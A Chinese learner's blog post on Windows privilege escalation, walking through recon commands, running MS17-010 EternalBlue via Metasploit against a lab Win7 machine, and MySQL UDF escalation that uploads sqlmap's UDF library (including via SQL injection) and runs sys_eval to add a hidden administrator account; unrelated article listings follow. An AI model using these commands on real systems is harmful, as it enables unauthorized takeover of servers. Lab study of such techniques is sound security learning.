windows系统远程提权提升、MySQL UDF提权

本文目录

  • 权限提升
    • 提权本质
    • 提权分类
  • windows系统提权基础命令
  • windows提权辅助工具
    • 辅助工具介绍
  • windows远程提权
    • 上手操作一下
  • Mysql UDF提权
    • udf介绍
    • udf.dll获取
    • 上传udf
    • 执行提权命令

前言
小白一枚,之前听过的比较厉害的操作就是提权,维权。今天学习一下。

权限提升

提权本质

提权本质就是提升自己在服务器中的权限,获得更大的权限。
例如:在Windows系统下普通用户,通过提权获得Administrator一样的权限;在linux中通过执行编译后的程序,从普通用户权限提升到root账号权限。

提权分类

第一种分类:

  • 本地提权
    当前登录到系统是一个普通用户,通过在本地执行的操作和程序来获得更高的权限
  • 远程提权
    远程提权是指在远程的机器上对目标服务器进行对应操作和执行程序对目标系统发送数据包,针对目标系统所存在的漏洞来获得最高的权限Administrator或者root。
    第二种分类
  • 系统提权
    针对系统的弱点或者漏洞来提升应的权限
  • 第三方软件提权
    利用系统上安装的一些软件(下载的),通过这些软件来提升权限。

windows系统提权基础命令

  • 获取IP地址信息
    IP地址是计算机在网络中的门牌号,用来寻找计算机的地址。同一台计算机有多个IP地址,可以有外部连接的IP地址,内部IP地址。

在提权过程中,如果有外网IP地址,可以直接使用3389端口进行远程桌面连接。
在windows系统下使用 ipconfig /all查看网卡信息。
ipconfig获取的信息其实是不全面的,加个/all可以查看全部网卡信息。一般192.168开头的是私网地址。

  • 获取端口信息
    端口是计算机与外部连接的一个接口,每个开放的服务对应一个端口。
    windows系统下可以使用netstat命令获取端口开放状态。
    netstat -an获取当前主机所有端口的开放情况及网络连接情况。
  • 获取服务信息和进程信息
    在windows系统下可以使用tasklist /svc命令获取运行的进程名称、服务、和PID。
  • 添加链接描述进程结束、用户管理命令
    1.使用taskkill来结束进程。taskkill /?获取帮助信息。
    2.在windows系统下,系统访问需要有对应的用户和密码。
    可以通过以下命令添加用户
net user username password /add
net localgroup administrator username /add

windows提权辅助工具

辅助工具介绍

Windows-Exploit-Suggester此工具将目标补丁与Microsoft漏洞数据库进行比较,以检测目标上潜在的缺失补丁。
github项目地址——🔑传送门
安装环境:python2.7、安装xlrd模块

#只有一个python2的环境
python -m pip install xlrd
#同时集合python2和python3
python2 -m pip install xlrd

m0re
安装成功。
然后执行--update以获取漏洞文件
m0re
在文件目录下获得一个这样的文件。
然后获取一个本机文件

systeminfo

然后使用命令将这些内容写入一个文件中,

systeminfo > win7.txt

生成一个win7文件,将它粘贴到辅助工具目录下。
使用命令进行测试

python windows-exploit-suggester.py --audit -i win7.txt -d 2020-07-01-mssb.xls

然后对比出来一些重要漏洞
m0re
如:MS13-055就是13年的第55个漏洞。

windows远程提权

在授权的情况下,针对目标机器进行提权。可以首先扫描系统是否存在可利用漏洞,探测是否可以利用。

如果可以直接获得最高权限,那么就不需要本地提权,直接远程提权拿到最高权限。
介绍一个漏洞ms17-010
ms17-010是一个安全类型的补丁,MS17-010更新修复了Microsoft Windows中的漏洞。

WannaCry(又叫Wanna Decryptor),一种“蠕虫式”的勒索病毒软件,大小3.3MB,由不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞“EternalBlue”(永恒之蓝)进行传播。勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。勒索病毒是自熊猫烧香以来影响力最大的病毒之一。

扫描探测ms17-010漏洞
在metasploit下直接利用ms17-010的漏洞扫描模块进行探测。
利用metasploit下的windows/smb/ms17_010_eternalblue模块进行远程提权
设置完参数就可以进行攻击:

exploit				#开始执行
shell				#使用shell命令/功能
whoami				#查询当前登录的用户会发现是windows最高权限system

这个真的厉害,学到了。

上手操作一下

首先需要开启一台win7虚拟机,然后看一下win7的IP地址。
打开kali终端输入msfconsole启用metasploit
使用搜查ms17-010模块,use auxiliary/scanner/smb/smb_ms17_010
设置rhost参数:set rhosts 192.168.xx.xx
然后run
就可以查询当前IP是否存在漏洞了。search ms17-010
m0re
可以看出,这个漏洞是2017年3月14日的。
既然存在漏洞了,那就利用这个漏洞来进行提权操作。
metasploit下也集成了ms17-010的漏洞利用模块。use exploit/windows/smb/ms17_010_eternalblue
当然还有其他的模块。下面这个就是win8系统的。现在我的是win7,所以就用上面的这个就行。
m0re
然后设置一下rhosts就行了。好像是升级了,居然这么简单。设置好参数后直接使用exploit直接进行提权,等待一会。
过程很快的还是。直接输入whoami
会发现,已经是最高权限登录到win7了
m0re
成功了。

Mysql UDF提权

udf介绍

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

在提权过程中,经常使用mysql的udf.dl进行提权。并且提权之前,要上传udf.dll到指定的目录下。使用select@@plugin_dir;或show
variables like’plugin%’,查看具体目录。

m0re
修改目录方式:

1、mysqld.exe--plugin-dir=具体目录
2、mysqld.exe--defaults-file=具体目录
3、mysql.ini配置文件plugindir=具体目录

udf.dll获取

sqlmap下自带了对应提权使用的udf库。可以直接下载使用,但是sqlmap进行加密,需要解密使用。
sqlmap在kali中自带,可以使用下面这个方法。
sqlmap在/root/usr/share/sqlmap
关于UDF则是在
m0re
因为我的mysql是win32,所以选择32
奥,至于查看的话,在mysql命令行中使用

select @@version_compile_os;

m0re
不过这个udf是加密的,不过sqlmap中有解密的脚本,可以直接使用,脚本在extra中的cloak中,
m0re
然后就可以使用了,命令为

./cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_

不过我的使用时出问题了,忙着解决,也忘了截图了。我放弃了在linux中解密的方法,我在win7中也有sqlmap,所以我就在win7中解密了,可以成功。
m0re
然后在cloak目录下生成了dll文件。
m0re

上传udf

将udf.dll文件上传到具体目录下。
具体目录上面已经说过查询方法。

上传方式:
利用SQL注入进行上传select load_file() into dumpfile " 具体路径"
使用菜刀直接上传
emmm我直接将文件放在对应目录下了,不演示上传
m0re

执行提权命令

create function sys_eval returns string soname 'udf.dll;
select* from mysqlaiunc where name='sys_eval';
select sys _eval('dir);
select sys _eval('net user user1 123 /add');
select sys _eval('net localgroup administrators user1 /add"); 
drop function sys_eval;

如果出现这样的界面就是对了。
m0re
然后进行下面的步骤就行。
m0re
然后会执行dir命令,显示当前目录下的文件。
如果电脑中安装有360安全(LM)卫士,会有提示的
m0re
emmm ,这基本就是MySQL的UDF提权的操作了。学到了好多。

此次学习到此结束。

文末寄语:

所有的悲伤,总会留下一丝欢乐的线索。所有的遗憾,总会留下一处完美的角落。我在冰封的深海,找寻希望的缺口。却在午夜惊醒时,蓦然瞥见绝美的月光。——《缺口》

热门文章

暂无图片
编程学习 ·

终于等到你,飞凌嵌入式i.MX6ULL核心板如约而至!

自从 2016年初,我们推出了FETMX6UL-C 核心板后,其高性价比、丰富的功能、15年生命周期、高稳定性的多方面优势,受到了广大客户的一致好评,在电力、医疗、工控、 物联网、能源管理、光伏、环境监测等领域取得大规模应用。 在此基础上, 我们推出了 FETMX6UL-C的“双胞胎兄弟…
暂无图片
编程学习 ·

Prometheus的安装与配置

一、什么是PrometheusPrometheus是由SoundCloud开发的开源监控报警系统和时序列数据库(TSDB)。Prometheus使用Go语言开发,是Google BorgMon监控系统的开源版本。2016年由Google发起Linux基金会旗下的原生云基金会(Cloud Native Computing Foundation), 将Prometheus纳入其下第…
暂无图片
编程学习 ·

环型链表

环型链表 题目描述:给定一个链表,判断链表当中有没有环解体思路: 思路一:可以利用快慢指针的思路,给定两个指针,让两个指针一开始都位于链表头部的位置,然后开始走起来,一个指针每次走一步,一个指针每次走2步,如果说链表是有环的话,那么走的快的链表,就会先进入到环…
暂无图片
编程学习 ·

leetcode-341-扁平化嵌套列表迭代器-java

题目及测试package pid341; /* 扁平化嵌套列表迭代器给你一个嵌套的整型列表。请你设计一个迭代器,使其能够遍历这个整型列表中的所有整数。列表中的每一项或者为一个整数,或者是另一个列表。其中列表的元素也可能是整数或是其他列表。示例 1:输入: [[1,1],2,[1,1]] 输出: […
暂无图片
编程学习 ·

SQL Server—游标(是什么?声明、打开、检索、关闭、释放)

目录游标是什么?如何创建一个游标?操作游标的四个步骤?如何判断游标的提取状态?关闭游标就可以了为什么还要释放呢?他们有什么区别?游标是什么? 是一种数据访问机制,它允许用户单独的操作数据行,而不是对整个行集进行操作。用户可以通过单独处理每一行逐条手机信息并对…
暂无图片
郑州普通话 ·

学习笔记六——循环神经网络

一、RNN 前馈神经网络:信息往一个方向流动。包括MLP和CNN 循环神经网络:信息循环流动,网络隐含层输出又作为自身输入,包括RNN、LSTM、GAN等。 RNN模型结构如下图所示: 展开之后相当于堆叠多个共享隐含层参数的前馈…
暂无图片
代理记账 ·

学习笔记六——循环神经网络

一、RNN 前馈神经网络:信息往一个方向流动。包括MLP和CNN 循环神经网络:信息循环流动,网络隐含层输出又作为自身输入,包括RNN、LSTM、GAN等。 RNN模型结构如下图所示: 展开之后相当于堆叠多个共享隐含层参数的前馈…
暂无图片
cgfy ·

学习笔记六——循环神经网络

一、RNN 前馈神经网络:信息往一个方向流动。包括MLP和CNN 循环神经网络:信息循环流动,网络隐含层输出又作为自身输入,包括RNN、LSTM、GAN等。 RNN模型结构如下图所示: 展开之后相当于堆叠多个共享隐含层参数的前馈…
暂无图片
coreui ·

Heap Sort 讲解

Heap Sort sorts a group of unordered elements using the Heap data structure. The sorting algorithm using a Min Heap is as follows: Heapify all elements into a Min HeapRecord and delete the top elementPut to top element into an array T that stores all so
暂无图片
未来博客 ·

Heap Sort 讲解

Heap Sort sorts a group of unordered elements using the Heap data structure. The sorting algorithm using a Min Heap is as follows: Heapify all elements into a Min HeapRecord and delete the top elementPut to top element into an array T that stores all so
暂无图片
建站日记 ·

[react] 你觉得react上手快不快?它有哪些限制?

[react] 你觉得react上手快不快?它有哪些限制? 相对vue来说不快。 限制 需要学习JSX需要工程化的配置需要对原生JavaScript有相当的掌握react只是一个UI层面的库,像vue内置了动画处理、keep-alive等功能,react则需要去找第三方库…
暂无图片
mfbz ·

学习笔记六——循环神经网络

一、RNN 前馈神经网络:信息往一个方向流动。包括MLP和CNN 循环神经网络:信息循环流动,网络隐含层输出又作为自身输入,包括RNN、LSTM、GAN等。 RNN模型结构如下图所示: 展开之后相当于堆叠多个共享隐含层参数的前馈…
暂无图片
mfbz ·

AOV网是否存在回路-拓扑排序-C++

拓扑排序是对测试AOV网是否存在回路的方法! 拓扑排序的过程中,由于需要查找所有以某顶点为尾的弧,即找到该顶点的所有出边,故图要采用邻接表的存储方式。但拓扑排序较邻接表的存储方式有一点不同,由于要查找入度为0的点…
暂无图片
珊珊日记 ·

学习笔记六——循环神经网络

一、RNN 前馈神经网络:信息往一个方向流动。包括MLP和CNN 循环神经网络:信息循环流动,网络隐含层输出又作为自身输入,包括RNN、LSTM、GAN等。 RNN模型结构如下图所示: 展开之后相当于堆叠多个共享隐含层参数的前馈…
暂无图片
珊珊日记 ·

AOV网是否存在回路-拓扑排序-C++

拓扑排序是对测试AOV网是否存在回路的方法! 拓扑排序的过程中,由于需要查找所有以某顶点为尾的弧,即找到该顶点的所有出边,故图要采用邻接表的存储方式。但拓扑排序较邻接表的存储方式有一点不同,由于要查找入度为0的点…